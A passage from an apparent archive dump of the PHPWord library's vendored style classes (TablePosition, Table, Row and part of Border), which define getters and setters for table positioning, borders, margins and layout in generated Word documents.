    {
        return $this->vPos;
    }

    /**
     * Set vertical position.
     *
     * @since 0.12.0 "absolute" option is available.
     *
     * @param string $value
     *
     * @return self
     */
    public function setVPos($value)
    {
        $enum = [
            self::POS_ABSOLUTE,
            self::POS_TOP,
            self::POS_CENTER,
            self::POS_BOTTOM,
            self::POS_INSIDE,
            self::POS_OUTSIDE,
        ];
        $this->vPos = $this->setEnumVal($value, $enum, $this->vPos);

        return $this;
    }

    /**
     * Get horizontal position relative to.
     *
     * @return string
     */
    public function getHPosRelTo()
    {
        return $this->hPosRelTo;
    }

    /**
     * Set horizontal position relative to.
     *
     * @param string $value
     *
     * @return self
     */
    public function setHPosRelTo($value)
    {
        $enum = [
            self::POS_RELTO_MARGIN,
            self::POS_RELTO_PAGE,
            self::POS_RELTO_COLUMN,
            self::POS_RELTO_CHAR,
            self::POS_RELTO_LMARGIN,
            self::POS_RELTO_RMARGIN,
            self::POS_RELTO_IMARGIN,
            self::POS_RELTO_OMARGIN,
        ];
        $this->hPosRelTo = $this->setEnumVal($value, $enum, $this->hPosRelTo);

        return $this;
    }

    /**
     * Get vertical position relative to.
     *
     * @return string
     */
    public function getVPosRelTo()
    {
        return $this->vPosRelTo;
    }

    /**
     * Set vertical position relative to.
     *
     * @param string $value
     *
     * @return self
     */
    public function setVPosRelTo($value)
    {
        $enum = [
            self::POS_RELTO_MARGIN,
            self::POS_RELTO_PAGE,
            self::POS_RELTO_TEXT,
            self::POS_RELTO_LINE,
            self::POS_RELTO_TMARGIN,
            self::POS_RELTO_BMARGIN,
            self::POS_RELTO_IMARGIN,
            self::POS_RELTO_OMARGIN,
        ];
        $this->vPosRelTo = $this->setEnumVal($value, $enum, $this->vPosRelTo);

        return $this;
    }

    /**
     * Get wrap type.
     *
     * @return string
     */
    public function getWrap()
    {
        return $this->wrap;
    }

    /**
     * Set wrap type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setWrap($value)
    {
        $enum = [
            self::WRAP_INLINE,
            self::WRAP_SQUARE,
            self::WRAP_TIGHT,
            self::WRAP_THROUGH,
            self::WRAP_TOPBOTTOM,
            self::WRAP_BEHIND,
            self::WRAP_INFRONT,
        ];
        $this->wrap = $this->setEnumVal($value, $enum, $this->wrap);

        return $this;
    }

    /**
     * Get top distance from text wrap.
     *
     * @return float
     */
    public function getWrapDistanceTop()
    {
        return $this->wrapDistanceTop;
    }

    /**
     * Set top distance from text wrap.
     *
     * @param int $value
     *
     * @return self
     */
    public function setWrapDistanceTop($value = null)
    {
        $this->wrapDistanceTop = $this->setFloatVal($value, null);

        return $this;
    }

    /**
     * Get bottom distance from text wrap.
     *
     * @return float
     */
    public function getWrapDistanceBottom()
    {
        return $this->wrapDistanceBottom;
    }

    /**
     * Set bottom distance from text wrap.
     *
     * @param float $value
     *
     * @return self
     */
    public function setWrapDistanceBottom($value = null)
    {
        $this->wrapDistanceBottom = $this->setFloatVal($value, null);

        return $this;
    }

    /**
     * Get left distance from text wrap.
     *
     * @return float
     */
    public function getWrapDistanceLeft()
    {
        return $this->wrapDistanceLeft;
    }

    /**
     * Set left distance from text wrap.
     *
     * @param float $value
     *
     * @return self
     */
    public function setWrapDistanceLeft($value = null)
    {
        $this->wrapDistanceLeft = $this->setFloatVal($value, null);

        return $this;
    }

    /**
     * Get right distance from text wrap.
     *
     * @return float
     */
    public function getWrapDistanceRight()
    {
        return $this->wrapDistanceRight;
    }

    /**
     * Set right distance from text wrap.
     *
     * @param float $value
     *
     * @return self
     */
    public function setWrapDistanceRight($value = null)
    {
        $this->wrapDistanceRight = $this->setFloatVal($value, null);

        return $this;
    }

    /**
     * Get position.
     *
     * @return int
     */
    public function getPosition()
    {
        return $this->position;
    }

    /**
     * Set position.
     *
     * @param int $value
     *
     * @return self
     */
    public function setPosition($value = null)
    {
        $this->position = $this->setIntVal($value, null);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/TablePosition.php000066600000021753151150442730020244 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * TablePosition style.
 *
 * @see http://www.datypic.com/sc/ooxml/e-w_tblpPr-1.html
 */
class TablePosition extends AbstractStyle
{
    /**
     * Vertical anchor constants.
     *
     * @const string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_VAnchor.html
     */
    const VANCHOR_TEXT = 'text'; // Relative to vertical text extents
    const VANCHOR_MARGIN = 'margin'; // Relative to margin
    const VANCHOR_PAGE = 'page'; // Relative to page

    /**
     * Horizontal anchor constants.
     *
     * @const string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_HAnchor.html
     */
    const HANCHOR_TEXT = 'text'; // Relative to text extents
    const HANCHOR_MARGIN = 'margin'; // Relative to margin
    const HANCHOR_PAGE = 'page'; // Relative to page

    /**
     * Horizontal alignment constants.
     *
     * @const string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_XAlign.html
     */
    const XALIGN_LEFT = 'left'; // Left aligned horizontally
    const XALIGN_CENTER = 'center'; // Centered horizontally
    const XALIGN_RIGHT = 'right'; // Right aligned horizontally
    const XALIGN_INSIDE = 'inside'; // Inside
    const XALIGN_OUTSIDE = 'outside'; // Outside

    /**
     * Vertical alignment constants.
     *
     * @const string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_YAlign.html
     */
    const YALIGN_INLINE = 'inline'; // In line with text
    const YALIGN_TOP = 'top'; // Top
    const YALIGN_CENTER = 'center'; // Centered vertically
    const YALIGN_BOTTOM = 'bottom'; // Bottom
    const YALIGN_INSIDE = 'inside'; // Inside Anchor Extents
    const YALIGN_OUTSIDE = 'outside'; // Centered vertically

    /**
     * Distance from left of table to text.
     *
     * @var int
     */
    private $leftFromText;

    /**
     * Distance from right of table to text.
     *
     * @var int
     */
    private $rightFromText;

    /**
     * Distance from top of table to text.
     *
     * @var int
     */
    private $topFromText;

    /**
     * Distance from bottom of table to text.
     *
     * @var int
     */
    private $bottomFromText;

    /**
     * Table vertical anchor.
     *
     * @var string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_VAnchor.html
     */
    private $vertAnchor;

    /**
     * Table horizontal anchor.
     *
     * @var string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_HAnchor.html
     */
    private $horzAnchor;

    /**
     * Relative horizontal alignment from anchor.
     *
     * @var string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_XAlign.html
     */
    private $tblpXSpec;

    /**
     * Absolute horizontal distance from anchor.
     *
     * @var int
     */
    private $tblpX;

    /**
     * Relative vertical alignment from anchor.
     *
     * @var string
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_YAlign.html
     */
    private $tblpYSpec;

    /**
     * Absolute vertical distance from anchor.
     *
     * @var int
     */
    private $tblpY;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get distance from left of table to text.
     *
     * @return int
     */
    public function getLeftFromText()
    {
        return $this->leftFromText;
    }

    /**
     * Set distance from left of table to text.
     *
     * @param int $value
     *
     * @return self
     */
    public function setLeftFromText($value = null)
    {
        $this->leftFromText = $this->setNumericVal($value, $this->leftFromText);

        return $this;
    }

    /**
     * Get distance from right of table to text.
     *
     * @return int
     */
    public function getRightFromText()
    {
        return $this->rightFromText;
    }

    /**
     * Set distance from right of table to text.
     *
     * @param int $value
     *
     * @return self
     */
    public function setRightFromText($value = null)
    {
        $this->rightFromText = $this->setNumericVal($value, $this->rightFromText);

        return $this;
    }

    /**
     * Get distance from top of table to text.
     *
     * @return int
     */
    public function getTopFromText()
    {
        return $this->topFromText;
    }

    /**
     * Set distance from top of table to text.
     *
     * @param int $value
     *
     * @return self
     */
    public function setTopFromText($value = null)
    {
        $this->topFromText = $this->setNumericVal($value, $this->topFromText);

        return $this;
    }

    /**
     * Get distance from bottom of table to text.
     *
     * @return int
     */
    public function getBottomFromText()
    {
        return $this->bottomFromText;
    }

    /**
     * Set distance from bottom of table to text.
     *
     * @param int $value
     *
     * @return self
     */
    public function setBottomFromText($value = null)
    {
        $this->bottomFromText = $this->setNumericVal($value, $this->bottomFromText);

        return $this;
    }

    /**
     * Get table vertical anchor.
     *
     * @return string
     */
    public function getVertAnchor()
    {
        return $this->vertAnchor;
    }

    /**
     * Set table vertical anchor.
     *
     * @param string $value
     *
     * @return self
     */
    public function setVertAnchor($value = null)
    {
        $enum = [
            self::VANCHOR_TEXT,
            self::VANCHOR_MARGIN,
            self::VANCHOR_PAGE,
        ];
        $this->vertAnchor = $this->setEnumVal($value, $enum, $this->vertAnchor);

        return $this;
    }

    /**
     * Get table horizontal anchor.
     *
     * @return string
     */
    public function getHorzAnchor()
    {
        return $this->horzAnchor;
    }

    /**
     * Set table horizontal anchor.
     *
     * @param string $value
     *
     * @return self
     */
    public function setHorzAnchor($value = null)
    {
        $enum = [
            self::HANCHOR_TEXT,
            self::HANCHOR_MARGIN,
            self::HANCHOR_PAGE,
        ];
        $this->horzAnchor = $this->setEnumVal($value, $enum, $this->horzAnchor);

        return $this;
    }

    /**
     * Get relative horizontal alignment from anchor.
     *
     * @return string
     */
    public function getTblpXSpec()
    {
        return $this->tblpXSpec;
    }

    /**
     * Set relative horizontal alignment from anchor.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTblpXSpec($value = null)
    {
        $enum = [
            self::XALIGN_LEFT,
            self::XALIGN_CENTER,
            self::XALIGN_RIGHT,
            self::XALIGN_INSIDE,
            self::XALIGN_OUTSIDE,
        ];
        $this->tblpXSpec = $this->setEnumVal($value, $enum, $this->tblpXSpec);

        return $this;
    }

    /**
     * Get absolute horizontal distance from anchor.
     *
     * @return int
     */
    public function getTblpX()
    {
        return $this->tblpX;
    }

    /**
     * Set absolute horizontal distance from anchor.
     *
     * @param int $value
     *
     * @return self
     */
    public function setTblpX($value = null)
    {
        $this->tblpX = $this->setNumericVal($value, $this->tblpX);

        return $this;
    }

    /**
     * Get relative vertical alignment from anchor.
     *
     * @return string
     */
    public function getTblpYSpec()
    {
        return $this->tblpYSpec;
    }

    /**
     * Set relative vertical alignment from anchor.
     *
     * @param string $value
     *
     * @return self
     */
    public function setTblpYSpec($value = null)
    {
        $enum = [
            self::YALIGN_INLINE,
            self::YALIGN_TOP,
            self::YALIGN_CENTER,
            self::YALIGN_BOTTOM,
            self::YALIGN_INSIDE,
            self::YALIGN_OUTSIDE,
        ];
        $this->tblpYSpec = $this->setEnumVal($value, $enum, $this->tblpYSpec);

        return $this;
    }

    /**
     * Get absolute vertical distance from anchor.
     *
     * @return int
     */
    public function getTblpY()
    {
        return $this->tblpY;
    }

    /**
     * Set absolute vertical distance from anchor.
     *
     * @param int $value
     *
     * @return self
     */
    public function setTblpY($value = null)
    {
        $this->tblpY = $this->setNumericVal($value, $this->tblpY);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Table.php000066600000040143151150442730016511 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\ComplexType\TblWidth as TblWidthComplexType;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\SimpleType\JcTable;
use PhpOffice\PhpWord\SimpleType\TblWidth;
use PhpOffice\PhpWord\Style;

class Table extends Border
{
    //values for http://www.datypic.com/sc/ooxml/t-w_ST_TblLayoutType.html
    /**
     * AutoFit Table Layout.
     *
     * @var string
     */
    const LAYOUT_AUTO = 'autofit';
    /**
     * Fixed Width Table Layout.
     *
     * @var string
     */
    const LAYOUT_FIXED = 'fixed';

    /**
     * Is this a first row style?
     *
     * @var bool
     */
    private $isFirstRow = false;

    /**
     * Style for first row.
     *
     * @var \PhpOffice\PhpWord\Style\Table
     */
    private $firstRowStyle;

    /**
     * Cell margin top.
     *
     * @var int
     */
    private $cellMarginTop;

    /**
     * Cell margin left.
     *
     * @var int
     */
    private $cellMarginLeft;

    /**
     * Cell margin right.
     *
     * @var int
     */
    private $cellMarginRight;

    /**
     * Cell margin bottom.
     *
     * @var int
     */
    private $cellMarginBottom;

    /**
     * Border size inside horizontal.
     *
     * @var int
     */
    private $borderInsideHSize;

    /**
     * Border color inside horizontal.
     *
     * @var string
     */
    private $borderInsideHColor;

    /**
     * Border size inside vertical.
     *
     * @var int
     */
    private $borderInsideVSize;

    /**
     * Border color inside vertical.
     *
     * @var string
     */
    private $borderInsideVColor;

    /**
     * Shading.
     *
     * @var \PhpOffice\PhpWord\Style\Shading
     */
    private $shading;

    /**
     * @var string
     */
    private $alignment = '';

    /**
     * @var float|int Width value
     */
    private $width = 0;

    /**
     * @var string Width unit
     */
    private $unit = TblWidth::AUTO;

    /**
     * @var null|float|int cell spacing value
     */
    protected $cellSpacing;

    /**
     * @var string Table Layout
     */
    private $layout = self::LAYOUT_AUTO;

    /**
     * Position.
     *
     * @var ?\PhpOffice\PhpWord\Style\TablePosition
     */
    private $position;

    /** @var null|TblWidthComplexType */
    private $indent;

    /**
     * The width of each column, computed based on the max cell width of each column.
     *
     * @var int[]
     */
    private $columnWidths;

    /**
     * Visually Right to Left Table.
     *
     * @see  http://www.datypic.com/sc/ooxml/e-w_bidiVisual-1.html
     *
     * @var ?bool
     */
    private $bidiVisual;

    /**
     * Create new table style.
     *
     * @param mixed $tableStyle
     * @param mixed $firstRowStyle
     */
    public function __construct($tableStyle = null, $firstRowStyle = null)
    {
        // Clone first row from table style, but with certain properties disabled
        if ($firstRowStyle !== null && is_array($firstRowStyle)) {
            $this->firstRowStyle = clone $this;
            $this->firstRowStyle->isFirstRow = true;
            unset($this->firstRowStyle->firstRowStyle, $this->firstRowStyle->borderInsideHSize, $this->firstRowStyle->borderInsideHColor, $this->firstRowStyle->borderInsideVSize, $this->firstRowStyle->borderInsideVColor, $this->firstRowStyle->cellMarginTop, $this->firstRowStyle->cellMarginLeft, $this->firstRowStyle->cellMarginRight, $this->firstRowStyle->cellMarginBottom, $this->firstRowStyle->cellSpacing);
            $this->firstRowStyle->setStyleByArray($firstRowStyle);
        }

        if ($tableStyle !== null && is_array($tableStyle)) {
            $this->setStyleByArray($tableStyle);
        }
    }

    /**
     * @param null|float|int $cellSpacing
     */
    public function setCellSpacing($cellSpacing = null): void
    {
        $this->cellSpacing = $cellSpacing;
    }

    /**
     * @return null|float|int
     */
    public function getCellSpacing()
    {
        return $this->cellSpacing;
    }

    /**
     * Set first row.
     *
     * @return \PhpOffice\PhpWord\Style\Table
     */
    public function getFirstRow()
    {
        return $this->firstRowStyle;
    }

    /**
     * Get background.
     *
     * @return ?string
     */
    public function getBgColor()
    {
        if ($this->shading !== null) {
            return $this->shading->getFill();
        }

        return null;
    }

    /**
     * Set background.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBgColor($value = null)
    {
        $this->setShading(['fill' => $value]);

        return $this;
    }

    /**
     * Get TLRBHV Border Size.
     *
     * @return int[]
     */
    public function getBorderSize()
    {
        return [
            $this->getBorderTopSize(),
            $this->getBorderLeftSize(),
            $this->getBorderRightSize(),
            $this->getBorderBottomSize(),
            $this->getBorderInsideHSize(),
            $this->getBorderInsideVSize(),
        ];
    }

    /**
     * Set TLRBHV Border Size.
     *
     * @param int $value Border size in eighths of a point (1/8 point)
     *
     * @return self
     */
    public function setBorderSize($value = null)
    {
        $this->setBorderTopSize($value);
        $this->setBorderLeftSize($value);
        $this->setBorderRightSize($value);
        $this->setBorderBottomSize($value);
        $this->setBorderInsideHSize($value);
        $this->setBorderInsideVSize($value);

        return $this;
    }

    /**
     * Get TLRBHV Border Color.
     *
     * @return string[]
     */
    public function getBorderColor()
    {
        return [
            $this->getBorderTopColor(),
            $this->getBorderLeftColor(),
            $this->getBorderRightColor(),
            $this->getBorderBottomColor(),
            $this->getBorderInsideHColor(),
            $this->getBorderInsideVColor(),
        ];
    }

    /**
     * Set TLRBHV Border Color.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderColor($value = null)
    {
        $this->setBorderTopColor($value);
        $this->setBorderLeftColor($value);
        $this->setBorderRightColor($value);
        $this->setBorderBottomColor($value);
        $this->setBorderInsideHColor($value);
        $this->setBorderInsideVColor($value);

        return $this;
    }

    /**
     * Get border size inside horizontal.
     *
     * @return int
     */
    public function getBorderInsideHSize()
    {
        return $this->getTableOnlyProperty('borderInsideHSize');
    }

    /**
     * Set border size inside horizontal.
     *
     * @param int $value
     *
     * @return self
     */
    public function setBorderInsideHSize($value = null)
    {
        return $this->setTableOnlyProperty('borderInsideHSize', $value);
    }

    /**
     * Get border color inside horizontal.
     *
     * @return string
     */
    public function getBorderInsideHColor()
    {
        return $this->getTableOnlyProperty('borderInsideHColor');
    }

    /**
     * Set border color inside horizontal.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderInsideHColor($value = null)
    {
        return $this->setTableOnlyProperty('borderInsideHColor', $value, false);
    }

    /**
     * Get border size inside vertical.
     *
     * @return int
     */
    public function getBorderInsideVSize()
    {
        return $this->getTableOnlyProperty('borderInsideVSize');
    }

    /**
     * Set border size inside vertical.
     *
     * @param int $value
     *
     * @return self
     */
    public function setBorderInsideVSize($value = null)
    {
        return $this->setTableOnlyProperty('borderInsideVSize', $value);
    }

    /**
     * Get border color inside vertical.
     *
     * @return string
     */
    public function getBorderInsideVColor()
    {
        return $this->getTableOnlyProperty('borderInsideVColor');
    }

    /**
     * Set border color inside vertical.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderInsideVColor($value = null)
    {
        return $this->setTableOnlyProperty('borderInsideVColor', $value, false);
    }

    /**
     * Get cell margin top.
     *
     * @return int
     */
    public function getCellMarginTop()
    {
        return $this->getTableOnlyProperty('cellMarginTop');
    }

    /**
     * Set cell margin top.
     *
     * @param int $value
     *
     * @return self
     */
    public function setCellMarginTop($value = null)
    {
        return $this->setTableOnlyProperty('cellMarginTop', $value);
    }

    /**
     * Get cell margin left.
     *
     * @return int
     */
    public function getCellMarginLeft()
    {
        return $this->getTableOnlyProperty('cellMarginLeft');
    }

    /**
     * Set cell margin left.
     *
     * @param int $value
     *
     * @return self
     */
    public function setCellMarginLeft($value = null)
    {
        return $this->setTableOnlyProperty('cellMarginLeft', $value);
    }

    /**
     * Get cell margin right.
     *
     * @return int
     */
    public function getCellMarginRight()
    {
        return $this->getTableOnlyProperty('cellMarginRight');
    }

    /**
     * Set cell margin right.
     *
     * @param int $value
     *
     * @return self
     */
    public function setCellMarginRight($value = null)
    {
        return $this->setTableOnlyProperty('cellMarginRight', $value);
    }

    /**
     * Get cell margin bottom.
     *
     * @return int
     */
    public function getCellMarginBottom()
    {
        return $this->getTableOnlyProperty('cellMarginBottom');
    }

    /**
     * Set cell margin bottom.
     *
     * @param int $value
     *
     * @return self
     */
    public function setCellMarginBottom($value = null)
    {
        return $this->setTableOnlyProperty('cellMarginBottom', $value);
    }

    /**
     * Get cell margin.
     *
     * @return int[]
     */
    public function getCellMargin()
    {
        return [
            $this->cellMarginTop,
            $this->cellMarginLeft,
            $this->cellMarginRight,
            $this->cellMarginBottom,
        ];
    }

    /**
     * Set TLRB cell margin.
     *
     * @param int $value Margin in twips
     *
     * @return self
     */
    public function setCellMargin($value = null)
    {
        $this->setCellMarginTop($value);
        $this->setCellMarginLeft($value);
        $this->setCellMarginRight($value);
        $this->setCellMarginBottom($value);

        return $this;
    }

    /**
     * Check if any of the margin is not null.
     *
     * @return bool
     */
    public function hasMargin()
    {
        $margins = $this->getCellMargin();

        return $margins !== array_filter($margins, 'is_null');
    }

    /**
     * Get shading.
     *
     * @return \PhpOffice\PhpWord\Style\Shading
     */
    public function getShading()
    {
        return $this->shading;
    }

    /**
     * Set shading.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setShading($value = null)
    {
        $this->setObjectVal($value, 'Shading', $this->shading);

        return $this;
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    public function getAlignment()
    {
        return $this->alignment;
    }

    /**
     * @since 0.13.0
     *
     * @param string $value
     *
     * @return self
     */
    public function setAlignment($value)
    {
        if (JcTable::isValid($value) || Jc::isValid($value)) {
            $this->alignment = $value;
        }

        return $this;
    }

    /**
     * Get width.
     *
     * @return float|int
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Set width.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setWidth($value = null)
    {
        $this->width = $this->setNumericVal($value, $this->width);

        return $this;
    }

    /**
     * Get width unit.
     *
     * @return string
     */
    public function getUnit()
    {
        return $this->unit;
    }

    /**
     * Set width unit.
     *
     * @param string $value
     *
     * @return self
     */
    public function setUnit($value = null)
    {
        TblWidth::validate($value);
        $this->unit = $value;

        return $this;
    }

    /**
     * Get layout.
     *
     * @return string
     */
    public function getLayout()
    {
        return $this->layout;
    }

    /**
     * Set layout.
     *
     * @param string $value
     *
     * @return self
     */
    public function setLayout($value = null)
    {
        $enum = [self::LAYOUT_AUTO, self::LAYOUT_FIXED];
        $this->layout = $this->setEnumVal($value, $enum, $this->layout);

        return $this;
    }

    /**
     * Get table style only property by checking if it's a firstRow.
     *
     * This is necessary since firstRow style is cloned from table style but
     * without certain properties activated, e.g. margins
     *
     * @param string $property
     *
     * @return null|int|string
     */
    private function getTableOnlyProperty($property)
    {
        if (false === $this->isFirstRow) {
            return $this->$property;
        }

        return null;
    }

    /**
     * Set table style only property by checking if it's a firstRow.
     *
     * This is necessary since firstRow style is cloned from table style but
     * without certain properties activated, e.g. margins
     *
     * @param string $property
     * @param int|string $value
     * @param bool $isNumeric
     *
     * @return self
     */
    private function setTableOnlyProperty($property, $value, $isNumeric = true)
    {
        if (false === $this->isFirstRow) {
            if (true === $isNumeric) {
                $this->$property = $this->setNumericVal($value, $this->$property);
            } else {
                $this->$property = $value;
            }
        }

        return $this;
    }

    /**
     * Get position.
     *
     * @return ?\PhpOffice\PhpWord\Style\TablePosition
     */
    public function getPosition()
    {
        return $this->position;
    }

    /**
     * Set position.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setPosition($value = null)
    {
        $this->setObjectVal($value, 'TablePosition', $this->position);

        return $this;
    }

    /**
     * @return ?TblWidthComplexType
     */
    public function getIndent()
    {
        return $this->indent;
    }

    /**
     * @return self
     *
     * @see http://www.datypic.com/sc/ooxml/e-w_tblInd-1.html
     */
    public function setIndent(TblWidthComplexType $indent)
    {
        $this->indent = $indent;

        return $this;
    }

    /**
     * Get the columnWidths.
     *
     * @return null|int[]
     */
    public function getColumnWidths()
    {
        return $this->columnWidths;
    }

    /**
     * The column widths.
     *
     * @param int[] $value
     */
    public function setColumnWidths(?array $value = null): void
    {
        $this->columnWidths = $value;
    }

    /**
     * Get bidiVisual.
     *
     * @return ?bool
     */
    public function isBidiVisual()
    {
        return $this->bidiVisual ?? Settings::isDefaultRtl();
    }

    /**
     * Set bidiVisual.
     *
     * @param ?bool $bidi
     *            Set to true to visually present table as Right to Left
     *
     * @return self
     */
    public function setBidiVisual($bidi)
    {
        $this->bidiVisual = $bidi;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Row.php000066600000004526151150442730016236 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Table row style.
 *
 * @since 0.8.0
 */
class Row extends AbstractStyle
{
    /**
     * Repeat table row on every new page.
     *
     * @var bool
     */
    private $tblHeader = false;

    /**
     * Table row cannot break across pages.
     *
     * @var bool
     */
    private $cantSplit = false;

    /**
     * Table row exact height.
     *
     * @var bool
     */
    private $exactHeight = false;

    /**
     * Create a new row style.
     */
    public function __construct()
    {
    }

    /**
     * Is tblHeader.
     *
     * @return bool
     */
    public function isTblHeader()
    {
        return $this->tblHeader;
    }

    /**
     * Is tblHeader.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setTblHeader($value = true)
    {
        $this->tblHeader = $this->setBoolVal($value, $this->tblHeader);

        return $this;
    }

    /**
     * Is cantSplit.
     *
     * @return bool
     */
    public function isCantSplit()
    {
        return $this->cantSplit;
    }

    /**
     * Is cantSplit.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setCantSplit($value = true)
    {
        $this->cantSplit = $this->setBoolVal($value, $this->cantSplit);

        return $this;
    }

    /**
     * Is exactHeight.
     *
     * @return bool
     */
    public function isExactHeight()
    {
        return $this->exactHeight;
    }

    /**
     * Set exactHeight.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setExactHeight($value = true)
    {
        $this->exactHeight = $this->setBoolVal($value, $this->exactHeight);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Border.php000066600000026631151150442730016705 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Border style.
 */
class Border extends AbstractStyle
{
    const DEFAULT_MARGIN = 1440;           // In twips.

    /**
     * Border Top Size.
     *
     * @var float|int
     */
    protected $borderTopSize;

    /**
     * Border Top Color.
     *
     * @var null|string
     */
    protected $borderTopColor;

    /**
     * Border Top Style.
     *
     * @var string
     */
    protected $borderTopStyle;

    /**
     * Border Left Size.
     *
     * @var float|int
     */
    protected $borderLeftSize;

    /**
     * Border Left Color.
     *
     * @var null|string
     */
    protected $borderLeftColor;

    /**
     * Border Left Style.
     *
     * @var string
     */
    protected $borderLeftStyle;

    /**
     * Border Right Size.
     *
     * @var float|int
     */
    protected $borderRightSize;

    /**
     * Border Right Color.
     *
     * @var null|string
     */
    protected $borderRightColor;

    /**
     * Border Right Style.
     *
     * @var string
     */
    protected $borderRightStyle;

    /**
     * Border Bottom Size.
     *
     * @var float|int
     */
    protected $borderBottomSize;

    /**
     * Border Bottom Color.
     *
     * @var null|string
     */
    protected $borderBottomColor;

    /**
     * Border Bottom Style.
     *
     * @var string
     */
    protected $borderBottomStyle;

    /**
     * Top margin spacing.
     *
     * @var float|int
     */
    protected $marginTop = self::DEFAULT_MARGIN;

    /**
     * Left margin spacing.
     *
     * @var float|int
     */
    protected $marginLeft = self::DEFAULT_MARGIN;

    /**
     * Right margin spacing.
     *
     * @var float|int
     */
    protected $marginRight = self::DEFAULT_MARGIN;

    /**
     * Bottom margin spacing.
     *
     * @var float|int
     */
    protected $marginBottom = self::DEFAULT_MARGIN;

    /**
     * Get border size.
     *
     * @return int[]
     */
    public function getBorderSize()
    {
        return [
            $this->getBorderTopSize(),
            $this->getBorderLeftSize(),
            $this->getBorderRightSize(),
            $this->getBorderBottomSize(),
        ];
    }

    /**
     * Set border size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setBorderSize($value = null)
    {
        $this->setBorderTopSize($value);
        $this->setBorderLeftSize($value);
        $this->setBorderRightSize($value);
        $this->setBorderBottomSize($value);

        return $this;
    }

    /**
     * Get border color.
     *
     * @return array<null|string>
     */
    public function getBorderColor()
    {
        return [
            $this->getBorderTopColor(),
            $this->getBorderLeftColor(),
            $this->getBorderRightColor(),
            $this->getBorderBottomColor(),
        ];
    }

    /**
     * Set border color.
     *
     * @param null|string $value
     *
     * @return self
     */
    public function setBorderColor($value = null)
    {
        $this->setBorderTopColor($value);
        $this->setBorderLeftColor($value);
        $this->setBorderRightColor($value);
        $this->setBorderBottomColor($value);

        return $this;
    }

    /**
     * Get border style.
     *
     * @return string[]
     */
    public function getBorderStyle()
    {
        return [
            $this->getBorderTopStyle(),
            $this->getBorderLeftStyle(),
            $this->getBorderRightStyle(),
            $this->getBorderBottomStyle(),
        ];
    }

    /**
     * Set border style.
     *
     * @param string $value
     *
     * @return self
     */
    public function setBorderStyle($value = null)
    {
        $this->setBorderTopStyle($value);
        $this->setBorderLeftStyle($value);
        $this->setBorderRightStyle($value);
        $this->setBorderBottomStyle($value);

        return $this;
    }

    /**
     * Get border top size.
     *
     * @return float|int
     */
    public function getBorderTopSize()
    {
        return $this->borderTopSize;
    }

    /**
     * Set border top size.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setBorderTopSize($value = null)
    {
        $this->borderTopSize = $this->setNumericVal($value, $this->borderTopSize);

        return $this;
    }

    /**
     * Get border top color.
     *
